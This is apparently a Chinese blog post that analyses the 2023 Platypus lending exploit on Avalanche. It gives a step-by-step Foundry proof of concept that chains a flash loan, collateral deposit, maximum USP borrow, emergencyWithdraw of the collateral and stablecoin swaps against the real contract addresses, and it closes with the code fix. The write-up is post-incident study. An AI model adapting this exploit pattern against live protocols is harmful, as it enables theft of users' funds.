图解Platypus借贷漏洞的攻击过程和POC

  • 老白
  • 更新于 2023-12-05 14:43
  • 阅读 1902

Platypus是雪崩链的稳定币交易所,为了解决流动性问题,增加了借贷功能,也因此出了bug。 本文的代码可以在Github是下载:https://github.com/rickwang9/HackerAnalysis

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一. Platypus 的背景知识

Platypus 是雪崩链的稳定币交易所,众所周知,交易所都有流动性的问题,怎么才能把token的利用率最大化是所有DEX要解决的问题,这个问题不是本篇的重点,这里不做讨论。

Platypus 做了自己的创新,用户向 Platypus 提供流动性,正常要得到 LP Token,这是通用的设计。Platypus 将 LP Token设计成了一个可以抵押兑换新的稳定币 USP的机制。

自创稳定币USP

新的稳定币 USP,其他交易所都不会认可。也不是让你拿 USP 出去用的。

拿着USP,你可以去 Platypus金库借贷出通用的稳定币出来,继续用来提供流动性。 这就极大的提高了资金的利用效率。

所以, Platypus 不仅仅是 DEX,还是 Lending。功能越多风险也越大,这次就是借贷的地方少了安全检测,出了bug。

6lending_plat_1_bg1.png

6lending_plat_2_bg2.png

6lending_plat_3_bg3.png

二. 攻击原理

攻击在Platypus的借贷功能里

存款是正常的逻辑:

6lending_plat_4_flow1.png

借款是正常的逻辑:

6lending_plat_5_flow2.png

取款是正常的逻辑:

6lending_plat_6_flow3.png

紧急取款检查 healthFactor 有bug:

6lending_plat_7_flowerror.png

emergencyWithdraw-有bug的代码:

6lending_plat_8_codeerror.png

三.合约的分工

  • Pool:depost(提供流动性),swap(交易稳定币),withdraw(移除流动性)。
  • MasterPlatypusV4:depost(抵押LPToken),withdraw(解除抵押)。
  • PlatypusTreasure:borrow(借出USP),repay(偿还USP),positionView(用户抵押持仓信息)isSolvent判断账户是否资不抵债),startAuction(清算)。

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四. POC

准备工作

最佳学习资料:DeFiHackLabs

SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation)\ SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot\ SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)

工程里有大量POC代码,非常推荐!!!

PhaIcon 的使用心得

PhaIcon功能很强大。我只说几个我认为重要的点:

  1. 梳理攻击步骤时,关闭static静态调用,这些static都是查询balance,ID,address,很重要,但是梳理攻击流程时没有,先关闭,缩小trace行数。

image.png

  1. 写POC的参数时,尤其是amount,要开启static。 下图,第一行查询出来的44,000,000就是后面两行的入参。 6lending_plat_11phaIcon1.png

  2. static查询能确定60%的数字来源,剩下的40%需要仔细看业务逻辑的返回值。

6lending_plat_12phaIcon2.png

攻击步骤概要

  • step1:从 aaveV3,闪电贷 44,000,000个USDC
  • step2:向 platypusPool 提供流动性, 44,000,000个USDC,得到LP Token
  • step3:将LP Token存入 masterPlatypusV4 作为抵押物
  • step4:向 platypusTreasure 借款USP,platypusTreasure 会检查 step3 用户的抵押金额。
  • step5:向 masterPlatypusV4紧急取款 LP Token(漏洞在此)
  • step6:向 platypusPool 取款 USDC
  • step7:将白嫖的USP,swap成外面通用的稳定币。

POC的基本信息

  • 这一步就是攻击的基本信息
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - 
// Attacker : https://avascan.info/blockchain/c/address/0xeff003d64046a6f521ba31f39405cb720e953958
// Attack Contract : https://avascan.info/blockchain/c/address/0x67afdd6489d40a01dae65f709367e1b1d18a5322
// Vulnerable Contract : https://avascan.info/blockchain/c/address/0xbcd6796177ab8071f6a9ba2c3e2e0301ee91bef5
// Attack Tx : https://avascan.info/blockchain/c/tx/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430

// @Info
// Vulnerable Contract Code : https://avascan.info/blockchain/c/address/0xbcd6796177ab8071f6a9ba2c3e2e0301ee91bef5/contract

// @Analysis
// Twitter Guy :https://twitter.com/peckshield/status/1626367531480125440
// https://explorer.phalcon.xyz/tx/avax/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430
contract ContractTest is Test{

}
interface AaveV3Pool {
    function flashLoanSimple(address receiverAddress, address asset, uint amount, bytes memory params, uint16 referralCode) external;
}
interface PlatypusPool {
    function deposit(address token, uint amount, address to, uint deadline) external returns (uint);
    function swap(address fromToken, address toToken, uint fromAmount, uint minnumAmount, address to, uint deadline) external returns (uint, uint);
    function withdraw(address token, uint liquidity, uint minimumAmount, address to, uint deadline) external returns (uint);
    function getTokenAddresses() external view returns (address[] memory);
    function assetOf(address token) external view returns (address);//key-value: USDC->LP_USDC
}
interface IUSP is IERC20{
    function approve(address spender, uint256 amount) external returns (bool);
}
interface ILP_USDC is IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}
interface MasterPlatypusV4{
    function deposit(uint _pid, uint _amount) external returns(uint256, uint256[] memory);
    function emergencyWithdraw(uint pid) external;
}
interface PlatypusTreasure{
    function borrow(address token, uint borrowAmount) external;
    function isSolvent(
        address _user,
        address _token,
        bool _open
    ) external view returns (bool solvent, uint256 debtAmount) ;
    function positionView(address _user, address _token) external view returns (PositionView memory);
    /// @notice A struct to preview a user's collateral position; external view-only
    struct PositionView {
        uint256 collateralAmount;
        uint256 collateralUSD;
        uint256 borrowLimitUSP;
        uint256 liquidateLimitUSP;
        uint256 debtAmountUSP;
        uint256 debtShare;
        uint256 healthFactor; // `healthFactor` is 0 if `debtAmountUSP` is 0
        bool liquidable;
    }
}
  • 这里就用的Token和接口实例
contract ContractTest is Test{
    AaveV3Pool aaveV3Pool = AaveV3Pool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);

    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
    IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
    IERC20 USDT = IERC20(0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7);
    IERC20 USDT_e = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
    IERC20 BUSD = IERC20(0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39);
    IERC20 DAI_e = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);
    ILP_USDC LP_USDC = ILP_USDC(0xAEf735B1E7EcfAf8209ea46610585817Dc0a2E16);
    IUSP USP = IUSP(0xdaCDe03d7Ab4D81fEDdc3a20fAA89aBAc9072CE2);

    PlatypusPool platypusPool = PlatypusPool(0x66357dCaCe80431aee0A7507e2E361B7e2402370);

    MasterPlatypusV4 masterPlatypusV4 = MasterPlatypusV4(0xfF6934aAC9C94E1C39358D4fDCF70aeca77D0AB0);
    PlatypusTreasure platypusTreasure = PlatypusTreasure(0x061da45081ACE6ce1622b9787b68aa7033621438);//这里应该是proxy的地址

    function setUp() public {
        vm.createSelectFork('Avalanche', 26343614 - 1);
    }
}

开始开始POC逻辑

- step1:从 aaveV3,闪电贷 44,000,000个USDC

    function testExploit() public {

        aaveV3Pool.flashLoanSimple(address(this), address(USDC), 44_000_000e6,  abi.encode(""), 0);

    }

- step2:向 platypusPool 提供流动性, 44,000,000个USDC,得到LP Token

    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
        console.log("executeOperation");
        console.logBytes(params);

        //step2
        USDC.approve(address(aaveV3Pool),   amount + premium);//44,022,000e6变成44_022_000e6
        USDC.approve(address(platypusPool), amount);
        platypusPool.deposit(address(USDC), amount, address(this), block.timestamp+1000);//
        return true;
 }

- step3:将LP Token存入 masterPlatypusV4 作为抵押物

    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
        console.log("executeOperation");
        console.logBytes(params);

        //step2
        ...
         //step3
        uint256 LP_USDC_myBalance = LP_USDC.balanceOf(address(this));
        LP_USDC.approve(address(masterPlatypusV4), LP_USDC_myBalance);
        masterPlatypusV4.deposit(4, LP_USDC_myBalance);

        return true;
 }

- step4:向 platypusTreasure 借款USP,platypusTreasure 会检查 step3 用户的抵押金额。

    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
        console.log("executeOperation");
        console.logBytes(params);

        //step2
        ...
       //step3
      ...
       //step4
        PlatypusTreasure.PositionView memory positionView = platypusTreasure.positionView(address(this), address(LP_USDC));
        uint256 borrowLimitUSP = positionView.borrowLimitUSP;
        platypusTreasure.borrow(address(LP_USDC), borrowLimitUSP);

        return true;
 }

- step5:向 masterPlatypusV4的emergencyWithdraw紧急取款 LP Token(漏洞在此)

    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
        console.log("executeOperation");
        console.logBytes(params);

        //step2
        ...
       //step3
      ...
       //step4
      ...
       //step5
        logPositionHealthCheck(address(LP_USDC));
        masterPlatypusV4.emergencyWithdraw(4);//取LP.  抵押LP借的USP还未换,就取款。
        logPositionHealthCheck(address(LP_USDC));

        return true;
 }

- step6:向 platypusPool 取款 USDC

    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
        console.log("executeOperation");
        console.logBytes(params);

        //step2
        ...
       //step3
      ...
       //step4
      ...
       //step5
        ...
        //step6
        LP_USDC_myBalance = LP_USDC.balanceOf(address(this));
        LP_USDC.approve(address(platypusPool), LP_USDC_myBalance);
        platypusPool.withdraw(address(USDC), LP_USDC_myBalance, 0, address(this), block.timestamp+1000);

        return true;
 }

- step7:将白嫖的USP,swap成外面通用的稳定币。

这里没有兑换完所有的USP,攻击者手里还剩下很多。

    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
        console.log("executeOperation");
        console.logBytes(params);

        //step2
        ...
       //step3
      ...
       //step4
      ...
       //step5
        ...
        //step6
        ...
       //step7
        USP.approve(address(platypusPool), 9_000_000e18);
        platypusPool.swap(address(USP), address(USDC), 2_500_000e18, 0, address(this), block.timestamp+1000);
        platypusPool.swap(address(USP), address(USDC_e), 2_000_000e18, 0, address(this), block.timestamp+1000);
        platypusPool.swap(address(USP), address(USDT), 1_600_000e18, 0, address(this), block.timestamp+1000);
        platypusPool.swap(address(USP), address(USDT_e), 1_250_000e18, 0, address(this), block.timestamp+1000);
        platypusPool.swap(address(USP), address(BUSD), 700_000e18, 0, address(this), block.timestamp+1000);
        platypusPool.swap(address(USP), address(DAI_e), 700_000e18, 0, address(this), block.timestamp+1000);

        return true;
 }

五.更多思考

关于swap的数量问题,每种稳定币交易多少是怎么定的?

攻击者得到了42,044,533个USP,这个量其实已经超过了pool的稳定币现有容量。 所以,只拿出1/5,即9,000,000个USP,还剩下33,044,533个USP没有变现。

6lending_plat_9morethink_table.png 看上图,swap把每种稳定币都拿走了接近2/3左右。

我猜测,攻击者是希望Platypus还能继续正常运营,如果一下掏空了,可能项目方就放弃了,毕竟手里还有大量USP等待兑换。

代码怎么改,才能补上漏洞

很简单,代码调整下顺序,检查放在transfer之后,如果转给用户前后,跌破了健康阈值,就revert 回滚代码,攻击就不会发生了。

6lending_plat_10morethink_goodcode.png

六.最后

这是吴磊老师留的第六课作业,我想说亲手写作业真的很重要。

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江湖只有他的大名,没有他的介绍。